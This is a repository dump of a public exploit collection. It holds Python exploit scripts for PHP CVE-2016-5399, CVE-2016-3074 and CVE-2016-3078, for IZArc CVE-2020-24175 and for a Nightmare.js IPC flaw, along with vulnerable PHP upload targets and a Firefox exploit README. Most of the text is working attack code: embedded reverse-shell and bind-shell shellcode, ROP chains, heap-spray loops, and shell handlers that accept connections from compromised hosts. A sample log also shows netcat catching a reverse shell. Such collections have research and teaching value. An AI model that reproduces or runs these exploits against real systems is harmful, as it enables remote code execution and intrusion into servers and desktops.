├── CVE-2016-3074 ├── upload.php └── exploit.py ├── CVE-2020-24175 ├── exploit.gif └── exploit.py ├── CVE-2016-1960 ├── CVE-2016-1960.png ├── README.md └── CVE-2016-1960.html ├── CVE-2016-3078 ├── upload.php └── exploit.py ├── nightmare-ipc ├── vuln.js └── exploit.py └── CVE-2016-5399 ├── upload.php └── exploit.py /CVE-2016-3074/upload.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /CVE-2020-24175/exploit.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illikainen/exploits/HEAD/CVE-2020-24175/exploit.gif -------------------------------------------------------------------------------- /CVE-2016-1960/CVE-2016-1960.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illikainen/exploits/HEAD/CVE-2016-1960/CVE-2016-1960.png -------------------------------------------------------------------------------- /CVE-2016-3078/upload.php: -------------------------------------------------------------------------------- 1 | open($_FILES["file"]["tmp_name"]) !== TRUE) { 4 | echo "cannot open archive\n"; 5 | } else { 6 | for ($i = 0; $i < $zip->numFiles; $i++) { 7 | $data = $zip->getFromIndex($i); 8 | } 9 | $zip->close(); 10 | } 11 | ?> 12 | -------------------------------------------------------------------------------- /nightmare-ipc/vuln.js: -------------------------------------------------------------------------------- 1 | var Nightmare = require("nightmare"); 2 | 3 | if (process.argv.length !== 3) { 4 | console.error("usage:", process.argv[1], "url"); 5 | process.exit(1); 6 | } 7 | 8 | new Nightmare() 9 | .goto(process.argv[2]) 10 | .end() 11 | .catch (function (error) { 12 | console.error(error); 13 | }); 14 | -------------------------------------------------------------------------------- /CVE-2016-5399/upload.php: -------------------------------------------------------------------------------- 1 | 17 | -------------------------------------------------------------------------------- /CVE-2016-1960/README.md: -------------------------------------------------------------------------------- 1 | ```javascript 2 | /* 3 | * Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64 4 | * with/without EMET 5.52. 5 | * 6 | * Tested on: 7 | * - 64bit Windows 10 Pro+Home (version 1703) 8 | * - 64bit Windows 7 Pro SP1 9 | * 10 | * Vulnerability disclosed by ca0nguyen [1]. 11 | * Exploit written by Hans Jerry Illikainen . 12 | * 13 | * [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014 14 | * [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/ 15 | */ 16 | ``` 17 | 18 | ![screenshot](CVE-2016-1960.png) 19 | -------------------------------------------------------------------------------- /nightmare-ipc/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # https://github.com/segmentio/nightmare/issues/1060 4 | # 5 | import sys 6 | import os 7 | import socket 8 | import http.server 9 | 10 | html = """ 11 | 12 | 13 | 14 | 15 | nightmarejs 16 | 17 | 18 | 61 | 62 | 63 | """ 64 | 65 | 66 | class Server(http.server.HTTPServer): 67 | max_packet_size = 8192 68 | 69 | def finish_request(self, request, client_address): 70 | data = request.recv(self.max_packet_size, socket.MSG_PEEK) 71 | if len(data) > 0 and data[-1] == ord("\n"): 72 | self.RequestHandlerClass(request, client_address, self) 73 | return 74 | 75 | print("=> we may have a shell on %s" % request.getpeername()[0]) 76 | if os.fork(): 77 | while True: 78 | cmd = sys.stdin.readline() 79 | request.send(bytes(cmd, "utf-8")) 80 | else: 81 | while True: 82 | res = request.recv(self.max_packet_size) 83 | sys.stdout.write(str(res, "utf-8")) 84 | sys.stdout.flush() 85 | 86 | 87 | class HTTPRequestHandler(http.server.BaseHTTPRequestHandler): 88 | def do_GET(self): 89 | self.send_response(http.server.HTTPStatus.OK) 90 | self.send_header("Content-type", "text/html") 91 | self.send_header("Connection", "close") 92 | self.end_headers() 93 | self.wfile.write(bytes(html, "utf-8")) 94 | 95 | 96 | def main(): 97 | if len(sys.argv) != 2 or ":" not in sys.argv[1]: 98 | sys.exit("%s host:port" % sys.argv[0]) 99 | 100 | addr, port = sys.argv[1].split(":") 101 | print("listening on %s:%s" % (addr, port)) 102 | server = Server((addr, int(port)), HTTPRequestHandler) 103 | server.serve_forever() 104 | 105 | 106 | if __name__ == "__main__": 107 | main() 108 | -------------------------------------------------------------------------------- /CVE-2016-5399/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm 4 | # behind nginx. 5 | # 6 | # ,---- 7 | # | $ nc -v -l 1.2.3.4 5555 & 8 | # | Listening on [1.2.3.4] (family 0, port 5555) 9 | # | 10 | # | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php 11 | # | [*] sending archive to http://target/upload.php (0) 12 | # | 13 | # | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479) 14 | # | $ fg 15 | # | id 16 | # | uid=80(www) gid=80(www) groups=80(www) 17 | # | 18 | # | uname -imrsU 19 | # | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000 20 | # | 21 | # | /usr/sbin/pkg query -g "=> %n-%v" php* 22 | # | => php70-7.0.8 23 | # | => php70-bz2-7.0.8 24 | # | 25 | # | cat upload.php 26 | # | 42 | # `---- 43 | # 44 | # - Hans Jerry Illikainen 45 | # 46 | import argparse 47 | import socket 48 | from struct import pack 49 | 50 | import requests 51 | import bitstring 52 | 53 | # reverse shell from metasploit 54 | shellcode = [ 55 | "\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f" 56 | "\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6" 57 | "\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10" 58 | "\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58" 59 | "\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f" 60 | "\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52" 61 | "\x57\x48\x89\xe6\x0f\x05" 62 | ] 63 | 64 | # we're bound by the MTF and can only reuse values on the stack 65 | # between pos[0]..pos[255] 66 | selectors = [ 67 | # retaddr: 68 | # 0x8009c9462: lea rsp,[rbp-0x20] 69 | # 0x8009c9466: pop rbx 70 | # 0x8009c9467: pop r12 71 | # 0x8009c9469: pop r14 72 | # 0x8009c946b: pop r15 73 | # 0x8009c946d: pop rbp 74 | # 0x8009c946e: ret 75 | # 76 | # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3) 77 | 9, 10, 11, 18, 1, 88, 31, 127, 78 | 79 | # rbp: 80 | # 0x802974300 (close to the end of the stream) 81 | 16, 17, 18, 29, 22, 152, 159, 25, 82 | 83 | # push it back 84 | 17, 18, 19, 20, 21, 22, 23, 24, 85 | 25, 26, 27, 28, 29, 30, 31, 32, 86 | 33, 34, 35, 36, 37, 38, 39, 40, 87 | 41, 42, 43, 44, 45, 46, 47, 48, 88 | 49, 50, 51, 52, 53, 54, 55, 56, 89 | 57, 58, 59, 60, 61, 62 90 | ] 91 | 92 | payload = [ 93 | # addr 94 | # 95 | # 0x41c4c8: pop rdi 96 | # 0x41c4c9: ret 97 | pack(" 26 | # `---- 27 | # 28 | # - Hans Jerry Illikainen 29 | # 30 | import sys 31 | import os 32 | import zlib 33 | import socket 34 | import threading 35 | import argparse 36 | import urlparse 37 | from struct import pack 38 | 39 | import requests 40 | 41 | # non-optimized bindshell from binjitsu 42 | # 43 | # context(arch="amd64", os="linux") 44 | # asm(shellcraft.bindsh(port, "ipv4")) 45 | shellcode = [ 46 | "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba", 47 | "%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7", 48 | "\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef", 49 | "\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99", 50 | "\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56", 51 | "\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8", 52 | "\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89", 53 | "\xe7\x31\xf6\x99\x0f\x05" 54 | ] 55 | 56 | gadgets = [ 57 | "\x90" * 40, 58 | 59 | # [16] 60 | # 61 | # 0xb6eca2: popfq 62 | # 0xb6eca3: callq *%rsp 63 | pack(" 0x7f91acf61f46: callq *0x70(%rax) 92 | # 93 | # (gdb) x/gx 0x432b80 94 | # 0x432b80: 0x0000000000547880 95 | # 96 | # (gdb) x/3i 0x0000000000547880 97 | # 0x547880: push %rbx 98 | # 0x547881: mov %rdi,%rbx 99 | # 0x547884: callq *0x20(%rdi) 100 | pack("H", 2), # version 197 | pack(">H", 1), # image size (x) 198 | pack(">H", 1), # image size (y) 199 | pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80) 200 | pack(">H", 2), # format (GD2_FMT_COMPRESSED) 201 | pack(">H", 1), # num of chunks wide 202 | pack(">H", len(chunks)) # num of chunks high 203 | ] 204 | colors = [ 205 | pack(">B", 0), # trueColorFlag 206 | pack(">H", 0), # im->colorsTotal 207 | pack(">I", 0), # im->transparent 208 | pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i] 209 | ] 210 | 211 | offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8 212 | for data, size in chunks: 213 | gd2.append(pack(">I", offset)) # cidx[i].offset 214 | gd2.append(pack(">I", size)) # cidx[i].size 215 | offset += size 216 | 217 | return "".join(gd2 + colors + [data for data, size in chunks]) 218 | 219 | 220 | def connect(host, port): 221 | addr = socket.gethostbyname(host) 222 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 223 | try: 224 | sock.connect((addr, port)) 225 | except socket.error: 226 | return 227 | 228 | print("\n[+] connected to %s:%d" % (host, port)) 229 | if os.fork() == 0: 230 | while True: 231 | try: 232 | data = sock.recv(8192) 233 | except KeyboardInterrupt: 234 | sys.exit("\n[!] receiver aborting") 235 | if data == "": 236 | sys.exit("[!] receiver aborting") 237 | sys.stdout.write(data) 238 | else: 239 | while True: 240 | try: 241 | cmd = sys.stdin.readline() 242 | except KeyboardInterrupt: 243 | sock.close() 244 | sys.exit("[!] sender aborting") 245 | sock.send(cmd) 246 | 247 | 248 | def send_gd2(url, gd2, code): 249 | files = {"file": gd2} 250 | try: 251 | req = requests.post(url, files=files, timeout=5) 252 | code.append(req.status_code) 253 | except requests.exceptions.ReadTimeout: 254 | pass 255 | 256 | 257 | def get_payload(offset, port): 258 | rop = "".join(gadgets) % {"pad": "\x90" * offset} 259 | 260 | fam_and_port = pack("open($_FILES["file"]["tmp_name"]) !== TRUE) { 27 | # | echo "cannot open archive\n"; 28 | # | } else { 29 | # | for ($i = 0; $i < $zip->numFiles; $i++) { 30 | # | $data = $zip->getFromIndex($i); 31 | # | } 32 | # | $zip->close(); 33 | # | } 34 | # | ?> 35 | # `---- 36 | # 37 | # - Hans Jerry Illikainen 38 | # 39 | import os 40 | import sys 41 | import argparse 42 | import socket 43 | import urlparse 44 | import collections 45 | from struct import pack 46 | from binascii import crc32 47 | 48 | import requests 49 | 50 | # bindshell from PEDA 51 | shellcode = [ 52 | "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" 53 | "\x43\x52\x66\x68%(port)s\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" 54 | "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" 55 | "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" 56 | "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" 57 | "\x89\xe1\xcd\x80" 58 | ] 59 | 60 | # 100k runs had the zend_mm_heap mapped at 0xb6a00040 ~53.333% and at 61 | # 0xb6c00040 ~46.667% of the time. 62 | zend_mm_heap = [0xb6a00040, 0xb6c00040] 63 | 64 | # offset to the payload from the zend heap 65 | zend_mm_heap_offset = "0x%xfd0" 66 | 67 | # Zend/zend_alloc_sizes.h 68 | zend_mm_max_small_size = 3072 69 | 70 | # exit() 71 | R_386_JUMP_SLOT = 0x08960a48 72 | 73 | ZipEntry = collections.namedtuple("ZipEntry", "name, data, size") 74 | 75 | 76 | def zip_file_header(fname, data, size): 77 | return "".join([ 78 | pack(" zend_mm_max_small_size: 136 | sys.exit("[-] shellcode is too big") 137 | 138 | size = 0xfffffffe 139 | length = 256 140 | entries = [ZipEntry("shellcode", shellcode, zend_mm_max_small_size)] 141 | for i in range(16): 142 | data = "A" * length 143 | if i == 0: 144 | data = pack("H", port) 213 | if "\x00" in p: 214 | sys.exit("[-] encode your NUL-bytes") 215 | return "".join(shellcode) % {"port": p} 216 | 217 | 218 | def get_args(): 219 | p = argparse.ArgumentParser() 220 | p.add_argument("--tries", type=int, default=4096) 221 | p.add_argument("--bind-port", type=int, default=8000) 222 | p.add_argument("url", help="POST url") 223 | return p.parse_args() 224 | 225 | 226 | def main(): 227 | args = get_args() 228 | shellcode = get_shellcode(args.bind_port) 229 | host = urlparse.urlparse(args.url).netloc.split(":")[0] 230 | 231 | print("[*] this may take a while") 232 | for i in range(args.tries): 233 | offset = int(zend_mm_heap_offset % i, 16) 234 | sys.stdout.write("\r[*] %d of %d (0x%x)..." % (i, args.tries, offset)) 235 | sys.stdout.flush() 236 | for heap in zend_mm_heap: 237 | archive = zip_create(zip_entries(heap + offset, shellcode)) 238 | if zip_send(args.url, archive) == 404: 239 | sys.exit("\n[-] 404: %s" % args.url) 240 | connect(host, args.bind_port) 241 | print("\n[-] nope...") 242 | 243 | if __name__ == "__main__": 244 | main() 245 | -------------------------------------------------------------------------------- /CVE-2020-24175/exploit.py: -------------------------------------------------------------------------------- 1 | # Author 2 | # ====== 3 | # Copyright (c) 2020 Hans Jerry Illikainen 4 | # 5 | # Target 6 | # ====== 7 | # IZArc 4.4 running on Windows 10 64bit (although both IZArc and Yz1 are 8 | # 32bit-only). The vulnerability was assigned CVE-2020-24175. 9 | # 10 | # Usage 11 | # ===== 12 | # C:\python3-x86\python.exe exploit.py \ 13 | # --dll C:\path\to\Yz1.dll \ 14 | # --output archive.yz1 \ 15 | # --align path-or-number-in-range(4) 16 | # 17 | # Note that the payload buffer is suffixed with the extraction path. In 18 | # order to overwrite the SEH on an appropriate DWORD boundary we have to 19 | # make sure that the payload is aligned with regards to the extraction 20 | # path. This is done by taking the length of the extraction path 21 | # (including the last '\') modulo 4. Thus, we have a 1 in 4 shot for 22 | # success if the extraction path is completely unknown. Meh... 23 | # 24 | # The `--align` argument can either take a path (in which case it's 25 | # converted to an integer by `len(path) % 4`) or a number in the 26 | # interval [0, 4). See the writeup for an explanation on this ugliness. 27 | # 28 | # Also, while the bugs affect the newest version of Yz1 (0.32), the 29 | # breakpoints are tailored for version 0.30 because that's the version 30 | # shipped with IZarc. Either download Yz1.dll 0.30 from the official 31 | # site or use the DLL that's bundled with IZArc. 32 | # 33 | # See the writeup for an explanation why Yz1.dll is used with PyKd to 34 | # create an exploit for Yz1.dll. 35 | 36 | import sys 37 | from argparse import ArgumentParser 38 | from contextlib import contextmanager 39 | from ctypes import CDLL, c_uint, c_ushort, windll 40 | from ctypes.wintypes import MAX_PATH 41 | from multiprocessing import Process 42 | from os import chdir, getcwd 43 | from pathlib import Path 44 | from shutil import rmtree 45 | from struct import pack, unpack 46 | from tempfile import TemporaryDirectory 47 | 48 | try: 49 | import pykd 50 | except ImportError: 51 | sys.exit( 52 | "The standalone pykd module is required.\n" 53 | f"Install it with '\"{sys.executable}\" -m pip install pykd'" 54 | ) 55 | 56 | # $ msfvenom -b '\x00' -f py -v shellcode -e x86/bloxor -a x86 \ 57 | # -p windows/exec CMD=calc.exe 58 | shellcode = b"" 59 | shellcode += b"\xe8\xff\xff\xff\xff\xc0\x5a\x6a\x05\x5b\x29" 60 | shellcode += b"\xda\x6a\x43\x03\x14\x24\x5b\x52\x59\x8d\x49" 61 | shellcode += b"\x02\x6a\x61\x5e\x0f\xb7\x01\x8d\x49\x02\x8b" 62 | shellcode += b"\x3a\xc1\xe7\x10\xc1\xef\x10\x89\xfb\x09\xc3" 63 | shellcode += b"\x21\xc7\xf7\xd7\x21\xdf\x66\x57\x66\x8f\x02" 64 | shellcode += b"\x8d\x52\x02\x4e\x85\xf6\x0f\x85\xd7\xff\xff" 65 | shellcode += b"\xff\x9e\x1f\x62\xf7\xe0\xf7\xe0\xf7\x80\x7e" 66 | shellcode += b"\x65\x4f\xa5\x2b\x2e\x7b\x1e\xf0\x4c\xfc\xc7" 67 | shellcode += b"\xae\xd3\x25\xa1\x0d\xae\xba\xe4\x9c\xd5\x63" 68 | shellcode += b"\x79\x5f\x18\x23\x1a\x0f\x3a\xce\xf5\xc3\xf4" 69 | shellcode += b"\x04\x16\xf6\x44\xa1\xcf\xf3\xdf\x78\x95\x44" 70 | shellcode += b"\x1e\x08\x0f\x70\xec\x38\xed\xe9\xbc\x62\xe5" 71 | shellcode += b"\x42\xe4\x91\x6f\xd8\x77\x3b\x4d\x72\xc6\x46" 72 | shellcode += b"\x4d\x47\x9b\x76\x64\xda\xa5\x15\xa8\x14\x6f" 73 | shellcode += b"\x2c\x8f\x59\x79\x5a\x04\xa2\x3f\xdf\x1b\xaa" 74 | shellcode += b"\xff\xf2\x74\xaa\x50\xab\x83\xcd\x08\xc1\x43" 75 | shellcode += b"\x4a\x1b\x56\x1a\x85\x91\x81\x1a\x80\xca\x09" 76 | shellcode += b"\x8e\x2d\xaa\x76\xf1\x17\xa8\x4d\xf9\xb2\x19" 77 | shellcode += b"\xed\x46\xb7\xcd\xa5\x26\x28\x7b\x42\x7a\xcf" 78 | shellcode += b"\xff\x7d\xff\x7d\xff\x2d\x97\x1c\x1c\x73\x9b" 79 | shellcode += b"\x8c\x4e\x37\xbe\x82\x1c\xd4\x74\x72\xe1\xcf" 80 | shellcode += b"\x7c\x30\xa9\x0c\xaf\x70\xa5\xf0\x5e\x10\x2b" 81 | shellcode += b"\x15\x90\x52\x83\x20\xec\x4a\xec\x19\x13\xcc" 82 | shellcode += b"\x70\xad\x1c\xce\x32\xab\x4a\xce\x4a\x55" 83 | 84 | 85 | class EventHandler(pykd.eventHandler): 86 | _breakpoints = {} 87 | _pending_breakpoints = {} 88 | 89 | def __init__(self, breakpoints): 90 | super().__init__() 91 | self._pending_breakpoints = breakpoints 92 | 93 | def onLoadModule(self, base, name): 94 | for offset, cb in self._pending_breakpoints.get(name.lower(), []): 95 | if name not in self._breakpoints: 96 | self._breakpoints[name] = [] 97 | self._breakpoints[name].append(pykd.setBp(base + offset, cb)) 98 | return pykd.eventResult.NoChange 99 | 100 | 101 | @contextmanager 102 | def tempdir(): 103 | cwd = getcwd() 104 | with TemporaryDirectory() as tmp: 105 | chdir(tmp) 106 | try: 107 | yield 108 | finally: 109 | chdir(cwd) 110 | 111 | 112 | def errx(s): 113 | print(f"ERROR: {s}", file=sys.stderr) 114 | sys.exit(1) 115 | 116 | 117 | def p8(n, order="<"): 118 | return pack(f"{order}B", n) 119 | 120 | 121 | def p32(n, order="<"): 122 | return pack(f"{order}I", n) 123 | 124 | 125 | def u16(n, order="<"): 126 | return unpack(f"{order}H", n)[0] 127 | 128 | 129 | def u32(n, order="<"): 130 | return unpack(f"{order}I", n)[0] 131 | 132 | 133 | def has_nul(n): 134 | return any((n >> (8 * i)) & 0xff == 0 for i in range(4)) 135 | 136 | 137 | def neg(n): 138 | value = c_uint(-n).value 139 | if has_nul(value): 140 | errx(f"-{n} contain NUL bytes") 141 | return value 142 | 143 | 144 | def create_archive(dll, output, align): 145 | cdll = CDLL(str(dll)) 146 | 147 | cdll.Yz1GetVersion.restype = c_ushort 148 | if cdll.Yz1GetVersion() != 30: 149 | errx("breakpoints are tailored for yz1 version 30") 150 | 151 | # fmt: off 152 | gadgets = [ 153 | #################################### 154 | # SEH overwrite 155 | #################################### 156 | p8(0xff) * (2052 - MAX_PATH - align), 157 | 158 | # [00] tar32.dll 159 | # 160 | # add esp, 0x139c 161 | # ret 162 | p32(0x10015344) * int(MAX_PATH / 4), 163 | 164 | p32(0xffffffff) * 250, 165 | 166 | #################################### 167 | # VirtualAlloc() flProtect 168 | #################################### 169 | # [01] cabinet5.dll 170 | # 171 | # ret 172 | p32(0x7e0c15e5) * 100, 173 | 174 | # [02] tar32.dll 175 | # 176 | # pop eax 177 | # ret 178 | p32(0x10033825), 179 | p32(neg(0x40)), 180 | 181 | # [03] cabinet5.dll 182 | # 183 | # neg eax 184 | # ret 185 | p32(0x7e0c6a07), 186 | 187 | # [04] tar32.dll 188 | # 189 | # mov dword ptr [ebp + 8], eax 190 | # pop ecx ;; noise 191 | # mov eax, 0x10029e04 ;; noise 192 | # ret 193 | p32(0x10029dfa), 194 | p32(0xffffffff), 195 | 196 | # [05] tar32.dll 197 | # 198 | # dec ebp 199 | # or al, 0x75 ;; noise 200 | # ret 201 | p32(0x1003def6) * 4, 202 | 203 | #################################### 204 | # VirtualAlloc() flAllocationType 205 | #################################### 206 | # [06] tar32.dll 207 | # 208 | # pop eax 209 | # ret 210 | p32(0x10033825), 211 | p32(neg(0x1000 - 1)), 212 | 213 | # [07] cabinet5.dll 214 | # 215 | # dec eax 216 | # ret 217 | p32(0x7e0c16d8), 218 | 219 | # [08] cabinet5.dll 220 | # 221 | # neg eax 222 | # ret 223 | p32(0x7e0c6a07), 224 | 225 | # [09] tar32.dll 226 | # 227 | # mov dword ptr [ebp + 8], eax 228 | # pop ecx ;; noise 229 | # mov eax, 0x10029e04 ;; noise 230 | # ret 231 | p32(0x10029dfa), 232 | p32(0xffffffff), 233 | 234 | # [10] tar32.dll 235 | # 236 | # dec ebp 237 | # or al, 0x75 ;; noise 238 | # ret 239 | p32(0x1003def6) * 4, 240 | 241 | #################################### 242 | # VirtualAlloc() dwSize 243 | #################################### 244 | # [11] tar32.dll 245 | # 246 | # push 1 247 | # pop eax 248 | # ret 249 | p32(0x10033823), 250 | 251 | # [12] tar32.dll 252 | # 253 | # mov dword ptr [ebp + 8], eax 254 | # pop ecx ;; noise 255 | # mov eax, 0x10029e04 ;; noise 256 | # ret 257 | p32(0x10029dfa), 258 | p32(0xffffffff), 259 | 260 | # [13] tar32.dll 261 | # 262 | # dec ebp 263 | # or al, 0x75 ;; noise 264 | # ret 265 | p32(0x1003def6) * 4, 266 | 267 | #################################### 268 | # VirtualAlloc() lpAddress 269 | #################################### 270 | # [14] tar32.dll 271 | # 272 | # push esp 273 | # add eax, 0x20 274 | # pop ebx 275 | # ret 276 | p32(0x10031fed), 277 | 278 | # [15] tar32.dll 279 | # 280 | # mov eax, ebx 281 | # pop esi ;; noise 282 | # pop ebx ;; noise 283 | # ret 284 | p32(0x1002f8ec), 285 | p32(0xffffffff), 286 | p32(0xffffffff), 287 | 288 | # [16] tar32.dll 289 | # 290 | # add eax, 0x20 291 | # pop ebx ;; noise 292 | # ret 293 | *[ 294 | p32(0x10031fee), 295 | p32(0xffffffff), 296 | ] * 4, 297 | 298 | # [17] tar32.dll 299 | # 300 | # mov dword ptr [ebp + 8], eax 301 | # pop ecx ;; noise 302 | # mov eax, 0x10029e04 ;; noise 303 | # ret 304 | p32(0x10029dfa), 305 | p32(0xffffffff), 306 | 307 | # [18] tar32.dll 308 | # 309 | # dec ebp 310 | # or al, 0x75 ;; noise 311 | # ret 312 | p32(0x1003def6) * 4, 313 | 314 | #################################### 315 | # VirtualAlloc() return address 316 | #################################### 317 | # [19] tar32.dll 318 | # 319 | # push esp 320 | # add eax, 0x20 ;; noise 321 | # pop ebx 322 | # ret 323 | p32(0x10031fed), 324 | 325 | # [20] tar32.dll 326 | # 327 | # mov eax, ebx 328 | # pop esi ;; noise 329 | # pop ebx ;; noise 330 | # ret 331 | p32(0x1002f8ec), 332 | p32(0xffffffff), 333 | p32(0xffffffff), 334 | 335 | # [21] tar32.dll 336 | # 337 | # add eax, 0x20 338 | # pop ebx ;; noise 339 | # ret 340 | *[ 341 | p32(0x10031fee), 342 | p32(0xffffffff), 343 | ] * 4, 344 | 345 | # [22] tar32.dll 346 | # 347 | # mov dword ptr [ebp + 8], eax 348 | # pop ecx ;; noise 349 | # mov eax, 0x10029e04 ;; noise 350 | # ret 351 | p32(0x10029dfa), 352 | p32(0xffffffff), 353 | 354 | # [23] tar32.dll 355 | # 356 | # dec ebp 357 | # or al, 0x75 ;; noise 358 | # ret 359 | p32(0x1003def6) * 4, 360 | 361 | #################################### 362 | # VirtualAlloc() IAT in tar32.dll 363 | #################################### 364 | # [24] tar32.dll 365 | # 366 | # pop eax ;; IAT slot for VirtualAlloc() 367 | # ret 368 | p32(0x10033825), 369 | p32(0x100411a0), 370 | 371 | # [25] tar32.dll 372 | # 373 | # mov eax, dword ptr [eax] 374 | # ret 375 | p32(0x100297ce), 376 | 377 | # [26] tar32.dll 378 | # 379 | # mov dword ptr [ebp + 8], eax 380 | # pop ecx ;; noise 381 | # mov eax, 0x10029e04 ;; noise 382 | # ret 383 | p32(0x10029dfa), 384 | p32(0xffffffff), 385 | 386 | # [27] tar32.dll 387 | # 388 | # inc ebp 389 | # or al, 3 ;; noise 390 | # ret 391 | p32(0x1003b3ba) * 4, 392 | 393 | #################################### 394 | # VirtualAlloc() -> shellcode 395 | #################################### 396 | # [28] tar32.dll 397 | # 398 | # mov esp, ebp 399 | # pop ebp 400 | # ret 401 | p32(0x1002e9e0), 402 | 403 | p32(0x90909090) * 5, 404 | shellcode, 405 | p32(0x90909090) * 200, 406 | ] 407 | # fmt: on 408 | 409 | with open("A" * 0x10, "wb") as f: 410 | f.write(b"".join(gadgets)) 411 | 412 | # The contents of the files will be interpreted as a filename, so we 413 | # need a NUL to prevent an OOB read. 414 | with open("B" * 0x10, "wb") as f: 415 | f.write(p8(0x0)) 416 | 417 | # fmt: off 418 | cmd = [ 419 | "c", # create 420 | "-i2", # silent mode 421 | "-r0", # non-recursive search 422 | "-x0", # don't archive full paths 423 | f"\"{output}\"", 424 | "*", 425 | ] 426 | # fmt: on 427 | 428 | rv = cdll.Yz1(None, " ".join(cmd).encode(), None, 0) 429 | if rv: 430 | errx(f"yz1 failed with {rv}") 431 | 432 | rewrite_header(output) 433 | 434 | 435 | def rewrite_header(output): 436 | """ 437 | Rewrite the size of the archive filenames in the header. 438 | """ 439 | with output.open("rb+") as f: 440 | f.seek(4 * 3) 441 | size = u32(f.peek(4)[:4], ">") 442 | size += sum(x.stat().st_size for x in Path().iterdir()) 443 | f.write(p32(size, ">")) 444 | 445 | 446 | def rewrite_filename(): 447 | """ 448 | Overwrite the terminating NUL-byte for the first filename. 449 | 450 | This effectively concatenates the first two filenames. 451 | """ 452 | this = pykd.reg("ecx") 453 | buf = pykd.ptrPtr(this + 1036) 454 | buf_size = pykd.ptrDWord(this + 1040) 455 | 456 | files = list(Path().iterdir()) 457 | files_hdr = len(files) * 4 * 2 458 | files_len = files_hdr + sum(len(x.name) + 1 for x in files) 459 | 460 | if files_len == buf_size: 461 | names = pykd.loadBytes(buf + files_hdr, buf_size - files_hdr) 462 | for i, byte in enumerate(names): 463 | if byte == 0: 464 | pykd.writeBytes(buf + files_hdr + i, [0x41]) 465 | break 466 | 467 | 468 | def get_image_base(dll): 469 | with dll.open("rb") as f: 470 | f.seek(0x3c) 471 | f.seek(u16(f.read(2)) + 0x34) 472 | return u32(f.read(4)) 473 | 474 | 475 | def run_pykd(py, dll, output, align): 476 | cmd = [ 477 | sys.executable, 478 | py, 479 | f"--dll=\"{dll}\"", 480 | f"--output=\"{output}\"", 481 | f"--align=\"{align}\"", 482 | ] 483 | base = get_image_base(dll) 484 | breakpoints = {"yz1": [(0x10011270 - base, rewrite_filename)]} 485 | pykd.initialize() 486 | pykd.handler = EventHandler(breakpoints) 487 | pykd.startProcess(" ".join(str(x) for x in cmd)) 488 | pykd.go() 489 | 490 | 491 | def abspath(path): 492 | return Path(path).absolute() 493 | 494 | 495 | def parse_args(): 496 | ap = ArgumentParser() 497 | ap.add_argument( 498 | "--dll", 499 | type=abspath, 500 | required=True, 501 | help="yz1 dll to use for archive creation", 502 | ) 503 | ap.add_argument( 504 | "--output", type=abspath, required=True, help="output file" 505 | ) 506 | ap.add_argument( 507 | "--align", help="alignment for the prepended extraction path" 508 | ) 509 | ap.add_argument( 510 | "--overwrite", action="store_true", help="overwrite output file" 511 | ) 512 | args = ap.parse_args() 513 | 514 | if not args.dll.is_file(): 515 | errx(f"{args.dll} is not a file") 516 | 517 | if args.output.exists(): 518 | if not args.overwrite: 519 | errx(f"{args.output} already exist") 520 | 521 | print(f"removing {args.output}") 522 | try: 523 | if args.output.is_file(): 524 | args.output.unlink() 525 | else: 526 | rmtree(args.output) 527 | except OSError as e: 528 | errx(f"could not remove {args.output}: {e.strerror}") 529 | else: 530 | args.output.parent.mkdir(parents=True, exist_ok=True) 531 | 532 | if args.align: 533 | if args.align.isnumeric(): 534 | args.align = int(args.align) 535 | else: 536 | args.align = len(args.align.rstrip("\\").rstrip("/") + "\\") % 4 537 | else: 538 | args.align = len(str(args.output.with_suffix("")) + "\\") % 4 539 | 540 | if args.align not in range(4): 541 | errx(f"--align should either be a path or a digit [0, 4)") 542 | 543 | return args 544 | 545 | 546 | def main(): 547 | if sys.maxsize != 2 ** 31 - 1: 548 | errx("32bit python required") 549 | 550 | args = parse_args() 551 | 552 | # 